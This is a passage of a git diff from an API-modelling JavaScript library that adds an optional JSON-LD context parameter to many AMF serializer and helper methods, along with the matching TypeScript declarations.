       for (const ref of references) {
-        if (this._hasType(ref, this.ns.aml.vocabularies.document.Module)) {
-          result = this[computeReferenceSecurity](ref, domainId);
+        if (this._hasType(ref, this.ns.aml.vocabularies.document.Module, context)) {
+          result = this[computeReferenceSecurity](ref, domainId, context);
           if (result) {
             result = this._resolve(result);
             return result;
@@ -1143,10 +1184,11 @@ export const AmfHelperMixin = (base) => class extends base {
    * Computes a security model from a reference (library for example).
    * @param {DomainElement} reference AMF model for a reference to extract the data from
    * @param {string} selected Node ID to look for
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {SecurityScheme|undefined} Type definition or undefined if not found.
    */
-  [computeReferenceSecurity](reference, selected) {
-    const declare = this._computeDeclares(reference);
+  [computeReferenceSecurity](reference, selected, context) {
+    const declare = this._computeDeclares(reference, context);
     if (!declare) {
       return undefined;
     }
diff --git a/src/helpers/AmfSerializer.d.ts b/src/helpers/AmfSerializer.d.ts
index c94f572..ec8d9e6 100644
--- a/src/helpers/AmfSerializer.d.ts
+++ b/src/helpers/AmfSerializer.d.ts
@@ -20,7 +20,7 @@ import {
   ApiSecuritySettings, ApiSecuritySettingsUnion, ApiServer, ApiShape, ApiShapeUnion, ApiSynthesizedField,
   ApiTag, ApiTupleShape, ApiUnionShape, ApiXMLSerializer, ApiOrganization, ApiSummary, ApiBase,
   ApiWeb, ApiAsync, ApiLicense, ApiParametrizedDeclaration, ApiParametrizedTrait, ApiParametrizedResourceType,
-  ApiVariableValue, ApiAbstractDeclaration,
+  ApiVariableValue, ApiAbstractDeclaration, ShapeProcessingOptions,
 } from "./api";
 import {
   ApiEndPointWithOperationsListItem,
@@ -44,162 +44,162 @@ export declare class AmfSerializer extends AmfHelperMixin(Object) {
    * @param object The API to serialize.
    * @returns API summary, without complex objects.
    */
-  apiSummary(object: Api): ApiSummary;
-  api(object: Api): ApiBase;
-  webApi(object: WebApi): ApiWeb;
-  asyncApi(object: AsyncApi): ApiAsync;
-  provider(object: Organization): ApiOrganization;
-  license(object: License): ApiLicense;
+  apiSummary(object: Api, context?: Record<string, string>): ApiSummary;
+  api(object: Api, context?: Record<string, string>): ApiBase;
+  webApi(object: WebApi, context?: Record<string, string>): ApiWeb;
+  asyncApi(object: AsyncApi, context?: Record<string, string>): ApiAsync;
+  provider(object: Organization, context?: Record<string, string>): ApiOrganization;
+  license(object: License, context?: Record<string, string>): ApiLicense;
 
   /**
    * @param object The AMF Server to serialize.
    * @returns Serialized Server
    */
-  server(object: Server): ApiServer;
+  server(object: Server, context?: Record<string, string>): ApiServer;
 
   /**
    * @param object The Parameter to serialize.
    * @returns Serialized Parameter
    */
-  parameter(object: Parameter): ApiParameter;
-  unknownShape(object: Shape): ApiShapeUnion;
-  isLink(object: DomainElement): boolean;
-  shape(object: Shape): ApiShape;
-  anyShape(object: AnyShape): ApiAnyShape;
+  parameter(object: Parameter, context?: Record<string, string>): ApiParameter;
+  unknownShape(object: Shape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiShapeUnion;
+  isLink(object: DomainElement, context?: Record<string, string>): boolean;
+  shape(object: Shape, context?: Record<string, string>): ApiShape;
+  anyShape(object: AnyShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiAnyShape;
   /**
    * Filters examples that should be rendered for a payload identified by `trackedId`.
    * 
    * This function is copied from old `api-example-generator/ExampleGenerator`.
    */
-  filterTrackedExamples(examples: Example[], trackedId: string): Example[];
+  filterTrackedExamples(examples: Example[], trackedId: string, context?: Record<string, string>): Example[];
   /**
    * Kind of the opposite of the `filterTrackedExamples`. It gathers examples that only have been 
    * defined for the parent Shape (ed in the type declaration). It filters out all examples
    * defined in a payload.
    */
-  filterNonTrackedExamples(examples: Example[]): Example[];
-  scalarShape(object: ScalarShape): ApiScalarShape;
+  filterNonTrackedExamples(examples: Example[], context?: Record<string, string>): Example[];
+  scalarShape(object: ScalarShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiScalarShape;
   /**
    * @param object The NodeShape to serialize
    */
-  nodeShape(object: NodeShape): ApiNodeShape;
-  propertyShape(object: PropertyShape): ApiPropertyShape;
-  unionShape(object: UnionShape): ApiUnionShape;
-  fileShape(object: FileShape): ApiFileShape;
-  schemaShape(object: SchemaShape): ApiSchemaShape;
-  recursiveShape(object: RecursiveShape): ApiRecursiveShape;
-  dataArrangeShape(object: DataArrangeShape): ApiDataArrangeShape;
-  arrayShape(object: ArrayShape): ApiArrayShape;
-  tupleShape(object: TupleShape): ApiTupleShape;
+  nodeShape(object: NodeShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiNodeShape;
+  propertyShape(object: PropertyShape, context?: Record<string, string>): ApiPropertyShape;
+  unionShape(object: UnionShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiUnionShape;
+  fileShape(object: FileShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiFileShape;
+  schemaShape(object: SchemaShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiSchemaShape;
+  recursiveShape(object: RecursiveShape, context?: Record<string, string>): ApiRecursiveShape;
+  dataArrangeShape(object: DataArrangeShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiDataArrangeShape;
+  arrayShape(object: ArrayShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiArrayShape;
+  tupleShape(object: TupleShape, options?: ShapeProcessingOptions, context?: Record<string, string>): ApiTupleShape;
   /**
    * @param object The CreativeWork to serialize.
    * @returns Serialized CreativeWork
    */
-  documentation(object: CreativeWork): ApiDocumentation;
+  documentation(object: CreativeWork, context?: Record<string, string>): ApiDocumentation;
   /**
    * @param object The Example to serialize.
    * @returns Serialized Example
    */
-  example(object: Example): ApiExample;
-  xmlSerializer(object: XMLSerializer): ApiXMLSerializer;
-  unknownDataNode(object: DataNode): ApiDataNodeUnion;
-  dataNode(object: DataNode): ApiDataNode;
-  scalarNode(object: ScalarNode): ApiScalarNode;
-  objectNode(object: ObjectNode): ApiObjectNode;
-  arrayNode(object: ArrayNode): ApiArrayNode;
+  example(object: Example, context?: Record<string, string>): ApiExample;
+  xmlSerializer(object: XMLSerializer, context?: Record<string, string>): ApiXMLSerializer;
+  unknownDataNode(object: DataNode, context?: Record<string, string>): ApiDataNodeUnion;
+  dataNode(object: DataNode, context?: Record<string, string>): ApiDataNode;
+  scalarNode(object: ScalarNode, context?: Record<string, string>): ApiScalarNode;
+  objectNode(object: ObjectNode, context?: Record<string, string>): ApiObjectNode;
+  arrayNode(object: ArrayNode, context?: Record<string, string>): ApiArrayNode;
 
   /**
    * Adds the custom domain properties to the currently processed property, a.k.a annotations.
    * @param object 
    * @returns The list of custom domain properties.
    */
-  customDomainProperties(object: DomainElement): ApiCustomDomainProperty[];
+  customDomainProperties(object: DomainElement, context?: Record<string, string>): ApiCustomDomainProperty[];
 
   /**
    * @param object The EndPoint to serialize.
    * @returns Serialized EndPoint
    */
-  endPoint(object: EndPoint): ApiEndPoint;
+  endPoint(object: EndPoint, context?: Record<string, string>): ApiEndPoint;
 
   /**
    * @param object The Operation to serialize.
    * @returns Serialized Operation
    */
-  operation(object: Operation): ApiOperation;
-  tag(object: Tag): ApiTag;
-  callback(object: Callback): ApiCallback;
+  operation(object: Operation, context?: Record<string, string>): ApiOperation;
+  tag(object: Tag, context?: Record<string, string>): ApiTag;
+  callback(object: Callback, context?: Record<string, string>): ApiCallback;
 
   /**
    * @param object The API request to serialize.
    * @returns Serialized API request
    */
-  request(object: Request): ApiRequest;
+  request(object: Request, context?: Record<string, string>): ApiRequest;
 
   /**
    * @param object The Response to serialize.
    * @returns Serialized Response
    */
-  response(object: Response): ApiResponse;
+  response(object: Response, context?: Record<string, string>): ApiResponse;
 
   /**
    * @param object The Payload to serialize.
    * @returns Serialized Payload
    */
-  payload(object: Payload): ApiPayload;
+  payload(object: Payload, context?: Record<string, string>): ApiPayload;
 
   /**
    * @param object The TemplatedLink to serialize.
    * @returns Serialized TemplatedLink
    */
-  templatedLink(object: TemplatedLink): TemplatedLink;
-  iriTemplateMapping(object: IriTemplateMapping): ApiIriTemplateMapping;
+  templatedLink(object: TemplatedLink, context?: Record<string, string>): TemplatedLink;
+  iriTemplateMapping(object: IriTemplateMapping, context?: Record<string, string>): ApiIriTemplateMapping;
 
   /**
    * @param object The ParametrizedSecurityScheme to serialize.
    * @returns Serialized ParametrizedSecurityScheme
    */
-  parametrizedSecurityScheme(object: ParametrizedSecurityScheme): ApiParametrizedSecurityScheme;
+  parametrizedSecurityScheme(object: ParametrizedSecurityScheme, context?: Record<string, string>): ApiParametrizedSecurityScheme;
 
   /**
    * @param object The SecurityScheme to serialize.
    * @returns Serialized SecurityScheme
    */
-  securityScheme(object: SecurityScheme): ApiSecurityScheme;
+  securityScheme(object: SecurityScheme, context?: Record<string, string>): ApiSecurityScheme;
 
   /**
    * @param object The SecurityRequirement to serialize.
    * @returns Serialized SecurityRequirement
    */
-  securityRequirement(object: SecurityRequirement): ApiSecurityRequirement;
-  securitySettings(object: Settings): ApiSecuritySettingsUnion;
-  settings(object: Settings): ApiSecuritySettings;
-  oAuth1Settings(object: OAuth1Settings): ApiSecurityOAuth1Settings;
-  oAuth2Settings(object: OAuth2Settings): ApiSecurityOAuth2Settings;
-  oAuth2Flow(object: OAuth2Flow): ApiSecurityOAuth2Flow;
-  scope(object: Scope): ApiSecurityScope;
-  apiKeySettings(object: ApiKeySettings): ApiSecurityApiKeySettings;
-  httpSettings(object: HttpSettings): ApiSecurityHttpSettings;
-  openIdConnectSettings(object: OpenIdConnectSettings): ApiSecurityOpenIdConnectSettings;
+  securityRequirement(object: SecurityRequirement, context?: Record<string, string>): ApiSecurityRequirement;
+  securitySettings(object: Settings, context?: Record<string, string>): ApiSecuritySettingsUnion;
+  settings(object: Settings, context?: Record<string, string>): ApiSecuritySettings;
+  oAuth1Settings(object: OAuth1Settings, context?: Record<string, string>): ApiSecurityOAuth1Settings;
+  oAuth2Settings(object: OAuth2Settings, context?: Record<string, string>): ApiSecurityOAuth2Settings;
+  oAuth2Flow(object: OAuth2Flow, context?: Record<string, string>): ApiSecurityOAuth2Flow;
+  scope(object: Scope, context?: Record<string, string>): ApiSecurityScope;
+  apiKeySettings(object: ApiKeySettings, context?: Record<string, string>): ApiSecurityApiKeySettings;
+  httpSettings(object: HttpSettings, context?: Record<string, string>): ApiSecurityHttpSettings;
+  openIdConnectSettings(object: OpenIdConnectSettings, context?: Record<string, string>): ApiSecurityOpenIdConnectSettings;
   /**
    * Serializes source maps, when available.
    */
-  sourceMap(object: DocumentSourceMaps): ApiDocumentSourceMaps | undefined;
-  synthesizedField(object: SynthesizedField): ApiSynthesizedField;
-  parametrizedDeclaration(object: ParametrizedDeclaration): ApiParametrizedDeclaration;
-  parametrizedTrait(object: ParametrizedTrait): ApiParametrizedTrait;
-  parametrizedResourceType(object: ParametrizedResourceType): ApiParametrizedResourceType;
-  variableValue(object: VariableValue): ApiVariableValue;
-  abstractDeclaration(object: AbstractDeclaration): ApiAbstractDeclaration;
+  sourceMap(object: DocumentSourceMaps, context?: Record<string, string>): ApiDocumentSourceMaps | undefined;
+  synthesizedField(object: SynthesizedField, context?: Record<string, string>): ApiSynthesizedField;
+  parametrizedDeclaration(object: ParametrizedDeclaration, context?: Record<string, string>): ApiParametrizedDeclaration;
+  parametrizedTrait(object: ParametrizedTrait, context?: Record<string, string>): ApiParametrizedTrait;
+  parametrizedResourceType(object: ParametrizedResourceType, context?: Record<string, string>): ApiParametrizedResourceType;
+  variableValue(object: VariableValue, context?: Record<string, string>): ApiVariableValue;
+  abstractDeclaration(object: AbstractDeclaration, context?: Record<string, string>): ApiAbstractDeclaration;
 
   /**
    * @param object The EndPoint to serialize as a list item.
    * @returns Serialized EndPoint as a list item.
    */
-  endPointWithOperationsListItem(object: EndPoint): ApiEndPointWithOperationsListItem;
+  endPointWithOperationsListItem(object: EndPoint, context?: Record<string, string>): ApiEndPointWithOperationsListItem;
 
   /**
    * @param object The Operation to serialize as a list item.
    * @returns Serialized Operation as a list item.
    */
-  operationListItem(object: Operation): ApiOperationListItem;
+  operationListItem(object: Operation, context?: Record<string, string>): ApiOperationListItem;
 }
diff --git a/src/helpers/AmfSerializer.js b/src/helpers/AmfSerializer.js
index 595d5a1..dea5051 100644
--- a/src/helpers/AmfSerializer.js
+++ b/src/helpers/AmfSerializer.js
@@ -134,9 +134,10 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {string[]} types The list of graph object types. When not defined it returns an empty array.
+   * @param {Record<string, string>=} context
    * @returns {string[]} The expanded types.
    */
-  readTypes(types) {
+  readTypes(types, context) {
     let target = types;
     if (typeof target === 'string') {
       target = [target];
@@ -144,7 +145,7 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
     if (!Array.isArray(target)) {
       return [];
     }
-    return target.map(this[expandKey].bind(this));
+    return target.map((type) => this[expandKey](type, context));
   }
 
   /**
@@ -152,10 +153,11 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
    * @returns {ApiSummary} API summary, without complex objects.
    */
   apiSummary(object) {
+    const context = object['@context'];
     const result = /** @type ApiSummary */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], context),
+      customDomainProperties: this.customDomainProperties(object, context),
       sourceMaps: this.sourceMap(object),
       schemes: [],
       accepts: [],
@@ -164,53 +166,53 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       tags: [],
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, context);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, context);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const version = this._getValue(object, ns.aml.vocabularies.core.version);
+    const version = this._getValue(object, ns.aml.vocabularies.core.version, context);
     if (version && typeof version === 'string') {
       result.version = version;
     }
-    const termsOfService = this._getValue(object, ns.aml.vocabularies.core.termsOfService);
+    const termsOfService = this._getValue(object, ns.aml.vocabularies.core.termsOfService, context);
     if (termsOfService && typeof termsOfService === 'string') {
       result.termsOfService = termsOfService;
     }
-    const accepts = object[this._getAmfKey(ns.aml.vocabularies.apiContract.accepts)];
+    const accepts = object[this._getAmfKey(ns.aml.vocabularies.apiContract.accepts, context)];
     if (Array.isArray(accepts) && accepts.length) {
-      result.accepts = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.accepts));
+      result.accepts = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.accepts, context));
     }
-    const contentType = object[this._getAmfKey(ns.aml.vocabularies.apiContract.contentType)];
+    const contentType = object[this._getAmfKey(ns.aml.vocabularies.apiContract.contentType, context)];
     if (Array.isArray(contentType) && contentType.length) {
-      result.contentType = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.contentType));
+      result.contentType = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.contentType, context));
     }
-    const schemes = object[this._getAmfKey(ns.aml.vocabularies.apiContract.scheme)];
+    const schemes = object[this._getAmfKey(ns.aml.vocabularies.apiContract.scheme, context)];
     if (Array.isArray(schemes) && schemes.length) {
-      result.schemes = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.scheme));
+      result.schemes = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.apiContract.scheme, context));
     }
-    let provider = object[this._getAmfKey(ns.aml.vocabularies.core.provider)];
+    let provider = object[this._getAmfKey(ns.aml.vocabularies.core.provider, context)];
     if (Array.isArray(provider)) {
       [provider] = provider;
     }
     if (provider) {
       result.provider = this.provider(provider);
     }
-    let license = object[this._getAmfKey(ns.aml.vocabularies.core.license)];
+    let license = object[this._getAmfKey(ns.aml.vocabularies.core.license, context)];
     if (Array.isArray(license)) {
       [license] = license;
     }
     if (license) {
       result.license = this.license(license);
     }
-    const tags = object[this._getAmfKey(ns.aml.vocabularies.apiContract.tag)];
+    const tags = object[this._getAmfKey(ns.aml.vocabularies.apiContract.tag, context)];
     if (Array.isArray(tags) && tags.length) {
       result.tags = tags.map(t => this.tag(t));
     }
-    const docs = object[this._getAmfKey(ns.aml.vocabularies.core.documentation)];
+    const docs = object[this._getAmfKey(ns.aml.vocabularies.core.documentation, context)];
     if (Array.isArray(docs) && docs.length) {
       result.documentations = docs.map(d => this.documentation(d));
     }
@@ -219,66 +221,72 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {Api} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiBase}
    */
-  api(object) {
+  api(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiBase */ (this.apiSummary(object));
     result.endPoints = [];
     result.servers = [];
     result.security = [];
     const { ns } = this;
-    const endPoints = object[this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint)];
+    const endPoints = object[this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint, objectContext)];
     if (Array.isArray(endPoints) && endPoints.length) {
-      result.endPoints = endPoints.map(e => this.endPoint(e));
+      result.endPoints = endPoints.map(e => this.endPoint(e, objectContext));
     }
-    const servers = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server)];
+    const servers = object[this._getAmfKey(ns.aml.vocabularies.apiContract.server, objectContext)];
     if (Array.isArray(servers) && servers.length) {
-      result.servers = servers.map(s => this.server(s));
+      result.servers = servers.map(s => this.server(s, objectContext));
     }
-    const security = object[this._getAmfKey(ns.aml.vocabularies.security.security)];
+    const security = object[this._getAmfKey(ns.aml.vocabularies.security.security, objectContext)];
     if (Array.isArray(security) && security.length) {
-      result.security = security.map(s => this.securityRequirement(s));
+      result.security = security.map(s => this.securityRequirement(s, objectContext));
     }
     return result;
   }
 
   /**
-   * @param {WebApi} object 
+   * @param {WebApi} object
+   * @param {Record<string, string>=} context 
    * @returns {ApiWeb}
    */
-  webApi(object) {
-    return this.api(object);
+  webApi(object, context) {
+    return this.api(object, context);
   }
 
   /**
    * @param {AsyncApi} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiAsync}
    */
-  asyncApi(object) {
-    return this.api(object);
+  asyncApi(object, context) {
+    return this.api(object, context);
   }
 
   /**
    * @param {Organization} object
+   * @param {Record<string, string>=} context
    * @returns {ApiOrganization}
    */
-  provider(object) {
+  provider(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiOrganization */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const url = this._getLinkValue(object, ns.aml.vocabularies.core.url);
+    const url = this._getLinkValue(object, ns.aml.vocabularies.core.url, objectContext);
     if (url && typeof url === 'string') {
       result.url = url;
     }
-    const email = this._getValue(object, ns.aml.vocabularies.core.email);
+    const email = this._getValue(object, ns.aml.vocabularies.core.email, objectContext);
     if (email && typeof email === 'string') {
       result.email = email;
     }
@@ -287,21 +295,23 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {License} object
+   * @param {Record<string, string>=} context
    * @returns {ApiLicense}
    */
-  license(object) {
+  license(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiLicense */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const url = this._getLinkValue(object, ns.aml.vocabularies.core.url);
+    const url = this._getLinkValue(object, ns.aml.vocabularies.core.url, objectContext);
     if (url && typeof url === 'string') {
       result.url = url;
     }
@@ -310,110 +320,114 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {Server} object The AMF Server to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiServer} Serialized Server
    */
-  server(object) {
+  server(object, context) {
+    const objectContext = context || object['@context'];
     const { ns } = this;
-    const url = this._getValue(object, ns.aml.vocabularies.core.urlTemplate) || '';
+    const url = this._getValue(object, ns.aml.vocabularies.core.urlTemplate, objectContext) || '';
     const result = /** @type ApiServer */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
+      types: this.readTypes(object['@type'], objectContext),
       url,
       variables: [],
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const variables = /** @type Parameter[] */ (object[this._getAmfKey(ns.aml.vocabularies.apiContract.variable)]);
+    const variables = /** @type Parameter[] */ (object[this._getAmfKey(ns.aml.vocabularies.apiContract.variable, objectContext)]);
     if (Array.isArray(variables) && variables.length) {
-      result.variables = variables.map((p) => this.parameter(p));
+      result.variables = variables.map((p) => this.parameter(p, objectContext));
     }
-    const protocol = /** @type string */ (this._getValue(object, ns.aml.vocabularies.apiContract.protocol));
-    const protocolVersion = /** @type string */ (this._getValue(object, ns.aml.vocabularies.apiContract.protocolVersion));
+    const protocol = /** @type string */ (this._getValue(object, ns.aml.vocabularies.apiContract.protocol, objectContext));
+    const protocolVersion = /** @type string */ (this._getValue(object, ns.aml.vocabularies.apiContract.protocolVersion, objectContext));
     if (protocol) {
       result.protocol = protocol;
     }
     if (protocolVersion) {
       result.protocolVersion = protocolVersion;
     }
-    const security = /** @type SecurityRequirement */ (object[this._getAmfKey(ns.aml.vocabularies.security.security)]);
+    const security = /** @type SecurityRequirement */ (object[this._getAmfKey(ns.aml.vocabularies.security.security, objectContext)]);
     if (Array.isArray(security) && security.length) {
-      result.security = security.map((p) => this.securityRequirement(p));
+      result.security = security.map((p) => this.securityRequirement(p, objectContext));
     }
     return result;
   }
 
   /**
    * @param {Parameter} object The Parameter to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiParameter} Serialized Parameter
    */
-  parameter(object) {
+  parameter(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiParameter */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
+      types: this.readTypes(object['@type'], objectContext),
       payloads: [],
       examples: [],
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const paramName = this._getValue(object, ns.aml.vocabularies.apiContract.paramName);
+    const paramName = this._getValue(object, ns.aml.vocabularies.apiContract.paramName, objectContext);
     if (paramName && typeof paramName === 'string') {
       result.paramName = paramName;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const required = this._getValue(object, ns.aml.vocabularies.apiContract.required);
+    const required = this._getValue(object, ns.aml.vocabularies.apiContract.required, objectContext);
     if (typeof required === 'boolean') {
       result.required = required;
     }
-    const allowEmptyValue = this._getValue(object, ns.aml.vocabularies.apiContract.allowEmptyValue);
+    const allowEmptyValue = this._getValue(object, ns.aml.vocabularies.apiContract.allowEmptyValue, objectContext);
     if (typeof allowEmptyValue === 'boolean') {
       result.allowEmptyValue = allowEmptyValue;
     }
-    const deprecated = this._getValue(object, ns.aml.vocabularies.document.deprecated);
+    const deprecated = this._getValue(object, ns.aml.vocabularies.document.deprecated, objectContext);
     if (typeof deprecated === 'boolean') {
       result.deprecated = deprecated;
     }
-    const explode = this._getValue(object, ns.aml.vocabularies.apiContract.explode);
+    const explode = this._getValue(object, ns.aml.vocabularies.apiContract.explode, objectContext);
     if (typeof explode === 'boolean') {
       result.explode = explode;
     }
-    const allowReserved = this._getValue(object, ns.aml.vocabularies.apiContract.allowReserved);
+    const allowReserved = this._getValue(object, ns.aml.vocabularies.apiContract.allowReserved, objectContext);
     if (typeof allowReserved === 'boolean') {
       result.allowReserved = allowReserved;
     }
-    const style = this._getValue(object, ns.aml.vocabularies.apiContract.style);
+    const style = this._getValue(object, ns.aml.vocabularies.apiContract.style, objectContext);
     if (style && typeof style === 'string') {
       result.style = style;
     }
-    const binding = this._getValue(object, ns.aml.vocabularies.apiContract.binding);
+    const binding = this._getValue(object, ns.aml.vocabularies.apiContract.binding, objectContext);
     if (binding && typeof binding === 'string') {
       result.binding = binding;
     }
-    const schemas = object[this._getAmfKey(ns.aml.vocabularies.shapes.schema)];
+    const schemas = object[this._getAmfKey(ns.aml.vocabularies.shapes.schema, objectContext)];
     if (Array.isArray(schemas) && schemas.length) {
       const [schema] = schemas;
       result.schema = this.unknownShape(schema, {
         trackedId: object['@id'],
-      });
+      }, objectContext);
     }
-    const payloads = object[this._getAmfKey(ns.aml.vocabularies.apiContract.payload)];
+    const payloads = object[this._getAmfKey(ns.aml.vocabularies.apiContract.payload, objectContext)];
     if (Array.isArray(payloads) && payloads.length) {
-      result.payloads = payloads.map(p => this.payload(p));
+      result.payloads = payloads.map(p => this.payload(p, objectContext));
     }
-    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples)];
+    const examples = object[this._getAmfKey(ns.aml.vocabularies.apiContract.examples, objectContext)];
     if (Array.isArray(examples) && examples.length) {
-      result.examples = examples.map(e => this.example(e));
+      result.examples = examples.map(e => this.example(e, objectContext));
     }
     return result;
   }
@@ -421,168 +435,176 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * @param {Shape} object 
    * @param {ShapeProcessingOptions=} options 
+   * @param {Record<string, string>=} context
    * @returns {ApiShapeUnion}
    */
-  unknownShape(object, options) {
-    const types = this.readTypes(object['@type']);
+  unknownShape(object, options, context) {
+    const objectContext = context || object['@context'];
+    const types = this.readTypes(object['@type'], objectContext);
     const { ns } = this;
     if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
-      return this.scalarShape(/** @type ScalarShape */ (object), options);
+      return this.scalarShape(/** @type ScalarShape */ (object), options, objectContext);
     }
     if (types.includes(ns.w3.shacl.NodeShape)) {
-      return this.nodeShape(/** @type NodeShape */ (object), options);
+      return this.nodeShape(/** @type NodeShape */ (object), options, objectContext);
     }
     if (types.includes(ns.aml.vocabularies.shapes.UnionShape)) {
-      return this.unionShape(/** @type UnionShape */ (object), options);
+      return this.unionShape(/** @type UnionShape */ (object), options, objectContext);
     }
     if (types.includes(ns.aml.vocabularies.shapes.FileShape)) {
-      return this.fileShape(/** @type FileShape */ (object), options);
+      return this.fileShape(/** @type FileShape */ (object), options, objectContext);
     }
     if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) {
-      return this.schemaShape(/** @type SchemaShape */ (object), options);
+      return this.schemaShape(/** @type SchemaShape */ (object), options, objectContext);
     }
     // this must be before the ArrayShape
     if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) {
-      return this.tupleShape(/** @type TupleShape */ (object), options);
+      return this.tupleShape(/** @type TupleShape */ (object), options, objectContext);
     }
     if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) {
-      return this.arrayShape(/** @type ArrayShape */ (object), options);
+      return this.arrayShape(/** @type ArrayShape */ (object), options, objectContext);
     }
     if (types.includes(ns.aml.vocabularies.shapes.RecursiveShape)) {
-      return this.recursiveShape(/** @type RecursiveShape */ (object));
+      return this.recursiveShape(/** @type RecursiveShape */ (object), objectContext);
     }
     // recursiveShape
-    return this.anyShape(/** @type AnyShape */ (object), options);
+    return this.anyShape(/** @type AnyShape */ (object), options, objectContext);
   }
 
   /**
    * @param {DomainElement} object 
+   * @param {Record<string, string>=} context
    * @returns {boolean}
    */
-  isLink(object) {
-    return !!this._getLinkValue(object, this.ns.aml.vocabularies.document.linkTarget);
+  isLink(object, context) {
+    const objectContext = context || object['@context'];
+    return !!this._getLinkValue(object, this.ns.aml.vocabularies.document.linkTarget, objectContext);
   }
 
   /**
    * @param {DomainElement} object 
+   * @param {Record<string, string>=} context
    * @returns {DomainElement|undefined}
    */
-  getLinkTarget(object) {
-    const id = this._getLinkValue(object, this.ns.aml.vocabularies.document.linkTarget);
-    return this[findAmfType](id);
+  getLinkTarget(object, context) {
+    const objectContext = context || object['@context'];
+    const id = this._getLinkValue(object, this.ns.aml.vocabularies.document.linkTarget, objectContext);
+    return this[findAmfType](id, objectContext);
   }
 
   /**
    * @param {Shape} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiShape}
    */
-  shape(object) {
+  shape(object, context) {
+    const objectContext = context || object['@context'];
     this._resolve(object);
     /** @type string */
     let linkLabel;
     let target = object;
     if (this.isLink(target)) {
